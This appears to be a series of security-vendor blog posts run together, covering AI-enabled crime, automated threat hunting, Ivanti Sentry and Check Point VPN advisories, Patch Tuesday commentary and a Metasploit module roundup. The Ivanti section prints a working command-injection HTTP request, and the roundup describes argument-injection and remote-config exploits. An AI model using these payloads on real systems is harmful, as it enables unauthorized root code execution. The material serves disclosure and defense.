For organizations, the impact of AI-enabled cybercrime is both economic and operational. The main concern is not the sudden arrival of fully autonomous AI hacking, but the steady increase in attacker productivity, deception quality, operational flexibility, and post-compromise efficiency.

This last concern is important to note. Once attackers obtain data, AI can help them review it more quickly and more systematically. Models can summarize large document sets, identify sensitive or monetizable material, extract victim-specific details, and support tailored extortion or fraud. This does not require a purpose-built criminal model. It requires access to a capable model, relevant data, and a clear criminal objective.

At the same time, enterprise AI environments are becoming part of the attack surface. AI accounts, API keys, prompts, uploaded files, connectors, retrieval systems, internal knowledge bases, and agentic workflows can all expose sensitive business information if they are compromised, misused, or poorly governed. These assets should therefore be managed with the same seriousness as other critical systems, including clear ownership, least-privilege access, logging, monitoring, retention rules, and periodic access reviews.

Organizations should respond by treating criminal AI as a challenge of trust, identity, workflow security, and data governance, rather than only as a malware issue. High-risk business processes should be reinforced with stronger approval controls, transaction verification, segregation of duties, and out-of-band confirmation, especially for financial transfers, access changes, sensitive data requests, and executive communications.

Phishing and fraud defenses must also adapt. Poor grammar and obvious language errors are no longer reliable indicators of malicious activity. Organizations should assume that many adversaries can now generate polished, localized, and credible communications at scale. Detection should therefore rely more heavily on behavioral indicators, sender validation, process anomalies, identity verification, and transaction integrity than on superficial language cues.

At the same time, organizations should prepare for AI-assisted post-breach exploitation by improving data minimization, segmentation, access controls, monitoring, logging, and incident response planning. They should also monitor the broader underground capability stack, including jailbreak services, stolen AI accounts, and synthetic media tooling, because these increasingly shape attacker tradecraft in practice.

The market will likely see more bundling of text generation, translation, impersonation, data analysis, and synthetic media into a single criminal offering. It will also likely see continued abuse of legitimate AI platforms alongside wrapper-based underground services. The ecosystem will likely remain uneven, opportunistic, and hype-heavy, while becoming strategically important because it makes cybercrime easier to execute, scale, and detectFor organizations, the main risk is not only higher financial loss, but also the growing operational strain created by AI-assisted attacks that are faster, more scalable, and harder to triage.

Enterprise AI accounts, API keys, prompts, uploaded files, connectors, retrieval systems, internal knowledge bases, and agentic workflows should be managed as critical assets, with clear ownership, least-privilege access, logging, monitoring, retention rules, and periodic access reviews. Sensitive data should be exposed to AI systems only when there is a clear business need, especially when AI tools connect to email, cloud storage, code repositories, customer databases, financial systems, or external services. High-risk AI connectors and workflows should be inventoried, risk-ranked, and monitored for abnormal access, bulk data movement, privilege escalation, or unauthorized agent actions.

 As phishing tactics become better, core controls should include MFA, phishing-resistant authentication, conditional access, DLP, EDR/XDR, API security monitoring, secrets scanning, prompt and output filtering, and model-access controls. Incident response plans should also cover stolen AI accounts, exposed prompts, compromised API keys, leaked embeddings, abused connectors, and sensitive data retained in AI workspaces.

The organizations best positioned for the next phase will be those that integrate AI risk into existing security governance rather than treating it as a separate technical issue. As criminal use of AI becomes part of everyday attacker tradecraft, resilience will depend on the ability to verify identity, control access, protect data flows, monitor AI-enabled workflows, and maintain human oversight over high-impact decisions. The future defensive priority is therefore not to predict every AI-enabled attack, but to build security architectures that remain reliable when attackers become faster, more persuasive, and more efficient.

Every week, threat hunt teams are faced with a steady flow of blogs, advisories, and DFIR reports containing valuable intelligence about adversary behaviors, tactics, techniques, and procedures. The challenge is turning that intelligence into repeatable, behavior-based hunting logic quickly enough to be useful. Indicators of compromise still have value, but they age quickly. Behavioral detections give defenders a better way to look for how attackers operate, rather than relying only on what they leave behind.

To help solve this, Rapid7’s Internal Security team built an automated threat hunting pipeline that transforms threat intelligence reporting into structured, executable hunt plans. The pipeline uses large language models to extract adversary behaviors, map them to MITRE ATT&CK techniques, generate detection queries across multiple tools, and support analyst-ready briefings in minutes rather than days.

Why manual threat hunting does not scale

A single threat intelligence report can describe dozens of adversary behaviors across multiple ATT&CK techniques. Translating that report into useful hunt logic often requires an analyst to read the full source, identify relevant behaviors, map them to ATT&CK, write queries for each security tool, validate syntax, execute searches, and triage the results.

For a report covering 40 to 50 techniques, that process can consume much of a working week. When multiple high-quality reports land at once, manual hunting quickly becomes unsustainable. The goal of this project was to reduce the mechanical work involved in building hunt plans, while keeping analysts in control of validation, interpretation, and decision-making.

How the automated threat hunting pipeline works

The pipeline runs in four stages, each designed to be inspectable, repeatable, and easy for analysts to refine over time.

Stage 1: Threat intelligence ingestion

The pipeline accepts a threat intelligence blog or report via URL or pasted text. It extracts the core article body, removes navigation and boilerplate content, and validates the material to ensure there is enough substance for analysis. This creates a clean input for the model and reduces the risk of irrelevant page content influencing the output.

Stage 2: ATT&CK technique extraction

The cleaned content is then sent to a large language model with a structured prompt that instructs it to act as a MITRE ATT&CK analyst. The model identifies adversary techniques referenced in the report and returns each one with its technique ID, technique name, tactic category, and a short summary of how the threat actor used it.

The prompt is tuned to focus on offensive behaviors and adversary tradecraft. Defensive recommendations, control guidance, and mitigation strategies are excluded from this specific workflow so the output reflects what the attacker did, rather than what defenders should implement in response. That focus helps preserve the hunting value of the source material while leaving room for separate workflows that generate defensive recommendations or control improvements.

For example, when applied to a Rapid7 threat research report on BPFdoor activity in telecom networks, the pipeline identified 16 techniques across seven ATT&CK tactics, including Initial Access, Persistence, Defense Evasion, Credential Access, Collection, Command and Control, and Execution. That structured extraction became the foundation for a hunt plan with detection coverage across InsightIDR, Velociraptor, and Sigma, giving analysts a faster path from source intelligence to behavior-based hunting logic.

Stage 3: Detection query generation

For each identified technique, the pipeline generates detection content across several tools and formats. This includes LEQL queries for InsightIDR, targeting activity such as process execution, authentication events, network connections, and file modifications. It also includes Velociraptor VQL queries and artifact recommendations for live host interrogation, Sigma rules that can be shared across teams or converted into other SIEM formats, and YARA rules where relevant.

Every generated query is reviewed by an analyst before use. LLMs can accelerate drafting and reduce repetitive work, but analyst validation remains essential for accuracy, syntax, and operational fit.

Stage 4: Hunt plan assembly

The pipeline assembles a structured markdown hunt plan organized by ATT&CK tactic. Each report includes an executive summary, an IOC sweep section when indicators are present, and a behavioral hunting section containing generated queries in fenced code blocks with clear explanations of what each query is designed to detect. This gives analysts a consistent output they can inspect, edit, execute, and reuse.

Building a reusable detection query library

A key design decision was the introduction of a persistent query cache. Each technique’s generated queries are saved as standalone markdown files, creating a growing library of reusable detection content.

This cache reduces cost and execution time because techniques seen in previous reports can be loaded from the library rather than regenerated. It also creates a practical feedback loop: analysts can correct, tune, and improve cached queries over time, and those improvements persist across future hunt plans.

By tracking which reports and campaigns reference each technique, the team can build an organic view of recurring adversary behavior and identify which techniques appear across multiple actors or campaigns. Over time, this helps narrow the focus to behaviors most relevant to the environment, providing useful context.

Executing hunts and analyzing results

Once a hunt plan has been reviewed and validated, a separate process executes approved queries against InsightIDR. Results are then parsed and summarized into a briefing that highlights which queries returned results, why those results may matter, which findings may require immediate investigation, and how the activity relates to the threat actor’s known tradecraft.

Analysts can then ask follow-up questions conversationally, such as which findings should be prioritized, which hosts or users require deeper review, or how results should be interpreted based on risk.

Velociraptor queries are still executed manually because of the level of access involved. Given the potential impact of live host interrogation, the team made the deliberate decision to keep that execution under direct analyst control.

Practical use cases for automated threat hunting

The pipeline has already proven useful across several hunting scenarios: For advanced threat actor reporting, it can process DFIR reports and APT advisories to quickly determine whether known tradecraft appears in the environment. For insider threat hunting, it can be adapted to focus on data movement, anomalous access patterns, staging, and exfiltration behaviors. For security hardening, it can process reports about common persistence mechanisms and misconfigurations to validate whether the environment is exposed to known attack paths.

Across each use case, the value comes from shortening the path between intelligence and action.

Automating the repetitive work, not the expertise

By automating the repetitive work of reading reports, mapping techniques, and drafting queries, analysts can spend more time interpreting results, understanding context, and making decisions. The pipeline turns a daily flood of threat intelligence into structured, queryable, and continuously improving detection content. What previously required hours or days of manual effort can now be completed in minutes, while the underlying library compounds in value with every report processed.

On June 9, 2026, Ivanti published a security advisory for two critical vulnerabilities affecting Ivanti Sentry (formerly known as MobileIron Sentry), which per the vendor website is an “in-line gateway that manages, encrypts, and secures traffic between the mobile device and back-end enterprise systems”. The most severe issue, CVE-2026-10520, is an OS command injection vulnerability with a CVSS score of 10.0 that allows a remote unauthenticated attacker to achieve remote code execution (RCE) with root privileges. The second vulnerability, CVE-2026-10523, is an authentication bypass vulnerability with a CVSS score of 9.9 that allows a remote unauthenticated attacker to create arbitrary administrative accounts and obtain full administrative access. Ivanti has stated that they are not aware of any customers being exploited by either of these vulnerabilities at the time of disclosure. 

On June 10, 2026, watchTowr published a technical analysis of CVE-2026-10520 that includes a proof-of-concept (PoC) exploit for unauthenticated RCE. Given the trivial nature of exploitation and the availability of a public PoC, exploitation in-the-wild is likely to begin. Ivanti Sentry has featured on the CISA KEV list twice in the past (for the vulnerabilities CVE-2023-38035 and CVE-2020-15505), so we know threat actors will likely target this product. 

On June 11, 2026, CVE-2026-10520 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. With active exploitation now occurring, organizations running affected versions of Ivanti Sentry should remediate these issues on an urgent basis, outside of normal patching cycles.

Technical overview for CVE-2026-10520

Based upon the technical analysis by watchTowr, CVE-2026-10520 resides in the ConfigServiceController class within the Sentry web application, which is accessible via a POST request to the unauthenticated endpoint /mics/api/v2/sentry/mics-config/handleMessage.

The handleMessage endpoint accepts an attacker supplied message parameter that is parsed as an internal configuration command. This ultimately results in arbitrary OS command execution as root with an attacker control OS command. Shown below is an example HTTP request generated by the public PoC to execute the id command on an affected system:

POST /mics/api/v2/sentry/mics-config/handleMessage HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.33.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
message=execute+system+%2Fconfiguration%2Fsystem%2Fcommandexec+%3Ccommandexec%3E%3Cindex%3E1%3C%2Findex%3E%3Creqandres%3Eid%3C%2Freqandres%3E%3C%2Fcommandexec%3E

Mitigation guidance

A vendor-supplied update is available to remediate both CVE-2026-10520 and CVE-2026-10523. The following versions of Ivanti Sentry are affected:

• Ivanti Sentry 10.7.0 and below

• Ivanti Sentry 10.6.1 and below

• Ivanti Sentry 10.5.1 and below

The following fixed versions of Ivanti Sentry remediate both vulnerabilities:

• Ivanti Sentry 10.7.1

• Ivanti Sentry 10.6.2

• Ivanti Sentry 10.5.2

Given the critical severity of these vulnerabilities, the availability of a public PoC exploit for CVE-2026-10520, and the unauthenticated attack vector, Rapid7 strongly recommends updating affected Ivanti Sentry appliances on an urgent basis, outside of normal patching cycles.

For the latest mitigation guidance, please refer to the vendor's security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-10520 and CVE-2026-10523 with unauthenticated vulnerability checks available in the June 11 content release.

Updates

• June 10, 2026: Initial publication.
• June 11, 2026: Updated to reflect availability of vulnerability checks.
• June 12, 2026: Updated Overview to add new CISA KEV reference.

What's the opposite of coordinated disclosure?

In recent weeks, an independent vulnerability researcher going by the pseudonym Nightmare Eclipse has attracted significant attention by publishing details of six Microsoft vulnerabilities, including elevation of privilege vulnerabilities in Defender, and a Secure Boot disk encryption bypass. The researcher provided full proof-of-concept code for some, and provided  significant-but-incomplete detail around the path to exploitation for others. Microsoft has confirmed that these disclosures were not coordinated, and it is clear that the relationship between this researcher and Microsoft is less than cordial. Two of the disclosures emerged in the hours after last month’s Patch Tuesday, which provides maximum visibility, while limiting Microsoft’s ability to respond without out-of-cycle patches.

At time of writing, Microsoft has provided mitigation advice and patches for CVE-2026-33825, CVE-2026-45585, CVE-2026-45498, and CVE-2026-41091, leaving only two elevation of privilege vulnerabilities unpatched, known as MiniPlasma and GreenPlasma. However, a recent blog post by Nightmare Eclipse with the title “7” has been widely interpreted to mean that there is at least one more vulnerability to come. The post contained no content other than an image of Albert Vesker, a character from the Resident Evil video game series who formerly worked as a researcher for a technology corporation before going rogue. Any inference around the possible meaning of the image is left as an exercise for the reader.

Given the timing of last month’s disclosures in the hours following Patch Tuesday, a further high-friction disclosure today would perhaps be unsurprising. Indeed, a new blog post and a new GitHub account from the same researcher have emerged in the hours following Microsoft’s publication of the June 2026 Patch Tuesday updates. The apparent seventh disclosure is nicknamed RoguePlanet, and appears to describe another elevation of privilege to SYSTEM in Defender.

It is not at all difficult to understand why Microsoft and many blue team practitioners are deeply alarmed by the partial or even full disclosure of proof-of-concept code for an ongoing series of vulnerabilities affecting fully-patched Windows systems. However, multiple leading voices in the broader vulnerability disclosure community have expressed concern that Microsoft’s invocation of the Digital Crimes Unit in a May 27, 2026 blog post may yet prove counterproductive, especially if it causes other researchers to back away from mutually beneficial engagements with MSRC. A few days later, MSRC issued a further statement clarifying that they have no intention of pursuing action against security researchers, but only those who break the law or engage in malicious activity causing real harm. For now, one safe conclusion is that this unusually sensational Microsoft vulnerability management story arc is far from over.

HTTP/2: denial of service

Every so often, a new round of denial of service vulnerabilities emerge which affect web servers implementing HTTP/2 and HTTP/3 standards. This class of vulnerabilities is likely to expand further as researchers, including the discoverers of CVE-2026-49160, use advances in LLM capability to probe not just specific software, but also the standards on which software rests. Microsoft warns that exploitation leads to uncontrolled resource consumption over a network, and expects that exploitation is more likely. The advisory credits both a third-party research firm and OpenAI’s Codex.

Microsoft has not yet directly addressed another HTTP/2 vulnerability which allows trivial denial-of-service against the default HTTP/2 configuration of multiple web server platforms, including Microsoft IIS. CVE-2026-49975, also known as HTTP/2 Bomb, became public knowledge a week ago. This denial of service works by exhausting memory on the target server, and unlike a distributed denial of service attack, there is no requirement that an attacker control a large amount of bandwidth. Patches are available for NGINX and Apache, with IIS presumably to follow at some point. If practically possible, disabling HTTP/2 is a valid mitigation.

PowerToys: SYSTEM EoP

The Microsoft PowerToys utility provides a wide variety of useful control and configuration options for Windows power users which aren’t otherwise easily accessible. It turns out that PowerToys also offers an undocumented extra: local elevation of privilege to SYSTEM via successful exploitation of CVE-2026-42902. It is worth noting that the fix was included in PowerToys v0.99.1 on April 29, 2026, without any apparent mention in the release notes. Attackers with patch-diffing toolkits may well take note of this discrepancy.

Microsoft lifecycle update

There are no significant Microsoft product lifecycle changes this month. SQL Server 2016 moves beyond regular extended support and into the pay-to-play Extended Security Updates (ESU) phase after July 14, 2026. On that same date, SharePoint 2016 and 2019 will also move past extended support, but since there’s no ESU available, the only remaining option for fully-supported self-hosted SharePoint after the middle of next month will be SharePoint Subscription Edition.

Summary charts

Vulnerabilities by Product Family

Apps vulnerabilities

Azure vulnerabilities

Developer Tools vulnerabilities

ESU vulnerabilities

Mariner vulnerabilities

Microsoft Dynamics vulnerabilities

Microsoft Office vulnerabilities

Open Source Software vulnerabilities

Other vulnerabilities

Server Software vulnerabilities

System Center vulnerabilities

Windows vulnerabilities

Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)

Critical RCEs

Rapid7 is excited to join Anthropic’s Project Glasswing, which includes access to Claude Mythos Preview, giving our teams the opportunity to explore how frontier AI can support legitimate, internal defensive security workflows led by experienced security practitioners. Anthropic has now expanded Project Glasswing from its initial cohort to a broader group of organizations, underscoring how quickly this conversation is moving from model capability to industry readiness. 

This access comes at a critical moment for security operations. Attackers are moving faster, attack surfaces are expanding, and fragmented security data makes it harder for teams to correlate context and respond at scale. The industry is entering a period where powerful frontier AI models with advanced cyber capabilities require new operating norms, stronger safeguards, and better infrastructure for how vulnerabilities are verified, disclosed, fixed, and deployed.

Frontier AI will raise expectations for how quickly security teams can understand risk, make decisions, and prove that action has reduced exposure. Rapid7 has already been tracking what Project Glasswing means for security leaders: faster discovery is only part of the story, and the real test is how defenders handle everything that follows, from prioritization and remediation to validation, detection, and response. Rapid7’s involvement gives us another opportunity to help shape how advanced LLMs are evaluated and applied to real defensive security work.

The organizations best positioned to benefit from frontier AI will be those that pair advanced models with trusted security context, expert oversight, and mature operational workflows. That is the lens Rapid7 is bringing to our internal exploration of Claude Mythos Preview, and it reflects the same principle that guides our broader AI strategy: advanced technology delivers the most value when grounded in security expertise, operational context, and measurable outcomes.

Exploring Claude Mythos Preview inside Rapid7

In the first week of Rapid7’s access to Claude Mythos Preview , it has already given our researchers, security engineers, and analysts another way to explore how frontier AI can strengthen the security workflows we already rely on. Our use is internal and practitioner-led, with a focus on learning where these models can create defensive value, where human expertise remains essential, and where responsible guardrails are required.

Cybersecurity impact depends on more than model capability. A model may help identify a potential vulnerability and confirm exploitability, but reducing risk requires deeper operational work: understanding affected systems, mapping business context, prioritizing remediation, validating the fix, and ensuring detection coverage is in place. Anthropic’s latest Project Glasswing update reinforces that same shift: as AI makes discovery faster, the next challenge becomes helping the industry scale verification, disclosure, fixing, and deployment.

For more than 25 years, Rapid7 has helped organizations understand risk in real environments and take action against it. Access to Project Glasswing gives us another way to explore how LLMs can support that mission, while reinforcing the same principle that guides our broader AI strategy: advanced technology delivers the most value when grounded in security expertise, operational context, and measurable outcomes.

How Rapid7 is using Claude Mythos Preview internally

Our initial exploration is focused on internal defensive use cases that can help strengthen our product security, improve our research, and create better security outcomes overall. The goal is to understand how frontier AI can support highly specialized security work while helping us evaluate these capabilities with the discipline and caution they require.

In product security, we are exploring how Claude Mythos Preview can support assessment of our code and infrastructure, helping identify potential vulnerabilities, weaknesses, or risky patterns that traditional product security tools may miss. Used responsibly, this type of workflow can help engineering and product security teams reduce risk earlier in the development lifecycle.

We are also evaluating how frontier AI can support vulnerability validation and exploitation analysis in authorized environments. This includes exploring how models can help researchers reason across unfamiliar code, validate severity, build safe proof-of-concept exploit paths, and translate findings into practical remediation guidance.

Our work also includes zero-day research and frontier model evaluation. As models become more capable, security teams need a clear view of where they perform well, where they struggle, and how their outputs should be governed. Evaluating these models against vulnerability discovery and exploitation tasks helps Rapid7 understand their practical value, limitations, and safeguards.

We are also applying frontier AI to red-teaming, detection, and response research. As AI becomes more embedded in enterprise systems and security operations, it also needs to be tested adversarially. Frontier models can help practitioners explore attack paths, challenge assumptions, enrich investigations, reduce noise, and support faster decisions when paired with the right telemetry and human judgment.

Why frontier AI needs cybersecurity expertise

The industry conversation around frontier AI often starts with what models can find, especially as they become more capable at reasoning across large codebases and surfacing potential flaws. However, security teams reduce risk by knowing which findings matter, acting on them quickly, and proving that exposure has been reduced. As we’ve written before, the challenge is turning faster discovery into faster action, which requires teams to understand their environment well enough to apply emerging models with intent.

That is why expertise matters. AI can help accelerate parts of the workflow, but security impact comes from connecting discovery to validation, remediation, detection, and response. Without that connection, faster discovery can create more volume for teams that are already stretched. With the right context and operating model, it can help defenders move earlier and with more confidence.

This is the lens Rapid7 brings to Project Glasswing. Our teams are exploring these capabilities as practitioners who understand the real-world pressures customers face: incomplete asset visibility, fragmented ownership, growing vulnerability backlogs, expanding identity and cloud risk, and alert volumes that can outpace human-only workflows.

From frontier AI adoption to preemptive security

Rapid7’s broader strategy is focused on helping organizations move toward preemptive security, where exposure management, and detection and response work together to disrupt attackers before risk becomes impact. As AI accelerates both attacker activity and defender workflows, security teams need more than faster vulnerability discovery. They need rich contextual prioritization, trusted AI-driven decision making, and mitigations beyond patching so they can prioritize, validate, and respond at speed and scale.

The next phase of cybersecurity will require speed, scale, and consistency across the entire security lifecycle. The industry challenge is expanding from finding vulnerabilities to the harder operational work of verifying, disclosing, fixing, and deploying remediations. While vulnerability and alert volumes will increase, cyber resilience depends on what happens both before and after discovery. In a reality where vulnerabilities can be exploited or chained together quickly, teams need the ability to prioritize exposures that have real impact, investigate quickly with full context, and keep operating in the face of disruption.

Preemptive security also means mitigation must extend beyond patching. Timely patching at scale is not always practical, so security teams need the ability to intercept and disrupt exploit paths through virtual patching, controls management, and rapid response actions. That is why Rapid7 is approaching frontier AI through the lens of preemptive security. Our AI foundation is built around unified security data and shared operational context across exposures, assets, identities, behavior, and activity, and transparent AI decisions validated by experts and governed by policy-driven workflows.

Access to Claude Mythos Preview is another step in exploring how LLMs can help security teams move earlier, act faster, and build more resilient programs without losing the human expertise and accountability that effective security requires. Anthropic also unveiled Fable 5 today, its first publicly available Mythos-class model, which will only further underscore the importance of having an integrated, AI-ready security plan that can turn this new benchmark of visibility into meaningful security improvement.

On June 8, 2026, Check Point published a security advisory for CVE-2026-50751, a critical authentication bypass vulnerability affecting Check Point Remote Access VPN, Mobile Access, and Spark Firewall products. The vulnerability affects deployments configured to use the deprecated IKEv1 key exchange protocol where gateways accept legacy Remote Access clients and do not require a machine certificate for connections.

CVE-2026-50751, classified as improper authentication (CWE-287), has a CVSS score of 9.3. The vulnerability stems from a logic flow weakness in how Remote Access and Mobile Access components validate certificates during IKEv1 key exchange; successful exploitation allows an unauthenticated attacker to establish a VPN session without providing valid credentials. Per the vendor, additional post-authentication activity is required to access internal resources or escalate privileges.

Check Point has indicated that CVE-2026-50751 is being actively exploited in the wild, with observed activity dating back to May 7, 2026 and an increase in early June. The vendor characterizes the campaign as limited in scope, affecting several dozen organizations. At least one incident has been linked to a Qilin ransomware affiliate, which Check Point assesses with medium confidence. Rapid7 has observed two cases with high confidence that can be attributed to CVE-2026-50751. As of June 8, 2026,  this vulnerability has been added to the CISA KEV.

Separately, during its investigation Check Point identified a related vulnerability, CVE-2026-50752 (CVSS 7.4), in the same IKEv1 code path that could enable a man-in-the-middle attack against site-to-site VPN tunnels under certain configurations. No exploitation of CVE-2026-50752 has been observed.

Check Point VPN products have been targeted by zero-day vulnerabilities in the past. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was exploited in the wild and subsequently added to the CISA Known Exploited Vulnerabilities (KEV) catalog. Organizations running affected Check Point products are urged to apply the available hot fixes and follow the vendor guidance to remediate these issues.

Mitigation guidance

Check Point has released hotfixes to remediate CVE-2026-50751. Affected organizations should apply the available updates on an emergency basis, without waiting for a regular patch cycle to occur.

The following products and versions are affected (Remote Access VPN, Mobile Access / SSL VPN, Spark Firewall):

• R80.20.X (End of Support)

• R80.40 (End of Support)

• R81 (End of Support)

• R81.10 (End of Support)

• R81.10.X

• R81.20

• R82

• R82.00.X

• R82.10

Notably, four of the nine affected version branches (R80.20.X, R80.40, R81, R81.10) have reached End of Support. Organizations still running these versions should prioritize migration to a supported release.

For organizations unable to immediately apply the hotfix, Check Point has provided the following alternative mitigations:

• Remove support for the legacy remote access client

• Configure global properties for Remote Access VPN authentication to IKEv2 only

• Set machine certificate authentication as mandatory

• Enable IPS and download the latest signatures

Rapid7 strongly recommends looking for signs of compromise even after the hotfix has been applied. Per Check Point's advisory, incident response teams should prioritize forensic log audits and configuration reviews starting from May 7, 2026, the earliest known date of exploitation.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-50751 with a vulnerability check available in the June 9 content release.

Intelligence Hub

IntelHub customers can look into the platform to search for more details and correlate the indicators of compromise, like known malicious IPs and known post exploitation ELF payloads, with the data from their own environment.

Managed Detection Response (MDR)

The following detection rules are available for InsightIDR and Managed Detection Response (MDR) customers:

• Suspicious Network Connection - Critical Check Point VPN Zero-Day Exploited in the Wild (CVE-2026-50751)

• Suspicious Process - Critical Check Point VPN Zero-Day Exploited in the Wild (CVE-2026-50751)

Indicators of compromise

Check Point has published the following indicators associated with the CVE-2026-50751 exploitation campaign. The attacker infrastructure consists of VPS hosts from several providers (Kaupo Cloud HK, Shock Hosting, Vultr Holdings), and Check Point notes that in some cases, the VPS region matched the geography of the targeted organization.

IP addresses:

• 45.77.149[.]152

• 209.182.225[.]136

• 38.60.157[.]139

• 162.33.177[.]101

• 45.76.26[.]42

• 144.208.127[.]155

• 38.54.88[.]201

• 38.54.107[.]167

• 66.42.99[.]200

File hashes (MD5):

• 52fda5c1b9704544f32ee98d9060e689

• 51d39aa39478beeac94f2d12f682ecce

Check Point observed post-exploitation attempts to retrieve ELF payloads from attacker-controlled servers, and identified ties to the Qilin ransomware operation based on binary analysis. For the full and most current list of IOCs, please refer to the vendor advisory.

Updates

• June 8, 2026: Initial publication.

• June 8, 2026: Rapid 7 observations of EITW.

• June 9, 2026: CVE added to CISA KEV.

• June 10, 2026: Updated to reflect availability of a vulnerability check and information for Intelligence Hub customers.
• June 11, 2026: Additional exploitation information determined by Rapid7.

Several fun modules landed this week, including an Apache RCE, Windows Kernel pointer collection, and Gogs RCE via naming. Leading off is Gogs' RCE that allows an attacker to execute commands by naming their branch --exec <command> and requesting a rebase.

Another useful post module by CharlesQuinnDev enumerates the Kernel pointers leaked via the popular NtQuerySystemInformation technique. Those exposed pointers, combined with a good write primitive, make local privilege escalation easier to accomplish. Several local privilege escalations already use that technique, so exposing just that technique was a great call!

New module content (3)

Apache ActiveMQ RCE via Jolokia addNetworkConnector

Authors: dinosn and h00die
Type: Exploit
Pull request: #21497 contributed by h00die
Path: multi/http/apache_activemq_jolokia_rce
AttackerKB reference: CVE-2026-34197

Adds a new exploit module exploit/multi/http/apache_activemq_jolokia_rce targeting CVE-2026-34197 in Apache ActiveMQ. The module abuses the Jolokia JMX-over-HTTP API exposed at /api/jolokia/ by calling the addNetworkConnector() MBean operation with a crafted brokerConfig=xbean:http://... URI. ActiveMQ fetches the attacker-controlled URL and instantiates it as a Spring XML application context, achieving remote code execution via a java.lang.ProcessBuilder bean. Authentication is required to exploit this vulnerability.

Gogs Git Rebase Argument Injection RCE

Author: Crypto-Cat
Type: Exploit
Pull request: #21515 contributed by jburgess-r7
Path: multi/http/gogs_rebase_rce

This adds an exploit module for the Gogs rebase Remote Code Execution (RCE) vulnerability. The module leverages an argument injection flaw residing in the pull request merge workflow of Gogs versions <= 0.14.2 and <= 0.15.0+dev.

Windows Kernel Pointer Exposure Enumerator

Author: CharlesQuinnDev
Type: Post
Pull request: #21039 contributed by CharlesQuinnDev
Path: windows/gather/windows_kernel_pointer_enum

Adds a new post module for Windows that enumerates kernel object pointers exposed through NtQuerySystemInformation on x64 systems. The module collects observable handle metadata and provides analysis of pointer distribution, object types, and ALPC usage, then saves the results to a CSV loot file for review. Also introduces a reusable Windows kernel handle-enumeration library.

Enhancements and features (7)

• #20881 from h00die - This adds support for cracking Kerberos type hashes in Metasploit, specifically timeroasting, krb5tgs* and krb5asrep.
• #21087 from jbx81-1337 - The new payloads_manager plugin lets you maintain a local archive of custom payloads and stage them into the data directory. Use the fetch or add subcommands to download or import a payload, then select to symlink it into place so it's available to other modules. The plugin tracks each payload's name, hash, tags, and description in a database.
• #21412 from zeroSteiner - Updates Metasploit's post modules to now run by default against the last opened alive session, unless explicitly specified.
• #21429 from zeroSteiner - Removes the now redundant Linux-specific method for finding the arch so there's a single source of truth that works in a superset of platform / session-type combinations.
• #21488 from sjanusz-r7 - Updates HTTP login scanners to report the detected service hierarchy.
• #21504 from h00die - Adds missing CVE references to seven existing modules: gladinet_storage_access_ticket_forge (CVE-2025-14611), cassandra_web_file_read (CVE-2020-36939), pretalx_file_read_cve_2023_28459 (CVE-2023-28459 and CVE-2023-28458), centreon_pollers_auth_rce (CVE-2019-19699), wp_responsive_thumbnail_slider_upload (CVE-2015-10144), xerte_unauthenticated_template_import_rce (CVE-2026-32985), and solarwinds_storage_manager_sql (CVE-2012-2576).
• #21526 from zeroSteiner - Makes stability and logging improvements to the ipmi_cipher_zero, ipmi_dumphashes, and ipmi_version modules.

Bugs fixed (7)

• #21432 from 4ravind-b - Fixes a bug in modules that invoke other modules that prevented datastore options from being validated.
• #21448 from kx7m2qd - Fixes an issue where CIDR range filters in the addresses parameter of the db.hosts RPC endpoint were not processed correctly.
• #21484 from zeroSteiner - Fixes python ssl command shell payloads that failed with AttributeError: module 'ssl' has no attribute 'wrap_socket'.
• #21489 from h00die - Improves the GitLab version scanner by handling additional exceptions in the scanner for non-GitLab targets and adding additional version fingerprints for real GitLab targets.
• #21502 from h00die - Fixes a crash in the scanner/snmp/snmp_enum module when the system date was read as Null.
• #21506 from h00die - Adds a guard clause when running uname -r in WSL startup_folder persistence.
• #21514 from orbit-bot - Fixes a couple of references to outdated msfvenom options.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.135...6.4.136
• Full diff 6.4.135...6.4.136

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro.

Ingestion-based solutions have the potential to be more cost effective if you're selective about what security telemetry you ingest – but then who analyzes the impact of the logs you're leaving out until they're needed?

Or, consider an MDR solution that's more EDR with just a few additional log sources. For some organizations this is a perfectly optimal fit. But, how often are logging blind spots reviewed and accepted as a risk? In my experience, very rarely.

I like to spend time educating customers on the importance of defense in depth, and partners on how to clearly demonstrate its importance when it comes to catching and stopping attacks.

The Swiss Cheese model

One of my favorite ways of explaining defense in depth is the “Swiss Cheese model.”

⠀

It's a risk model successfully used across industries like aviation safety, engineering and other domains. Its guiding principle is that a single safeguard is not fool-proof when it comes to mitigating accidents, and that true resilience is dependent upon multiple layers of monitoring and control.

The great thing about this model is that it translates really well when it comes to security operations and the technologies (SIEM) and services (MDR) that underpin it. In the case of these solutions, each slice of “cheese” is a combination of log source and detection rules across multiple attack surface domains - think endpoint, identity, cloud, or network – each reinforced by multiple log sources and detection rules that ladder up to those domains.

• The log source is half of the “cheese layer,” providing the raw information.

• The detection rules that help us spot attackers’ actions are the other half of the “cheese layer.”

The logs and detection rules working in combination is what represents the whole slice of cheese.

For example, let’s say you have an agent capturing activity on all of your servers and endpoints. But, an attacker has managed to steal some VPN credentials to log in to your corporate environment like a normal user. There is no agent on the attacker’s machine, only on corporate users’ machines.

Their next step is to enumerate the environment, which can be a combination of passive monitoring and active scanning. Their task? Finding that next stepping stone so they can ultimately make their way to gaining domain admin credentials or exfiltrating data from the environment as an example.

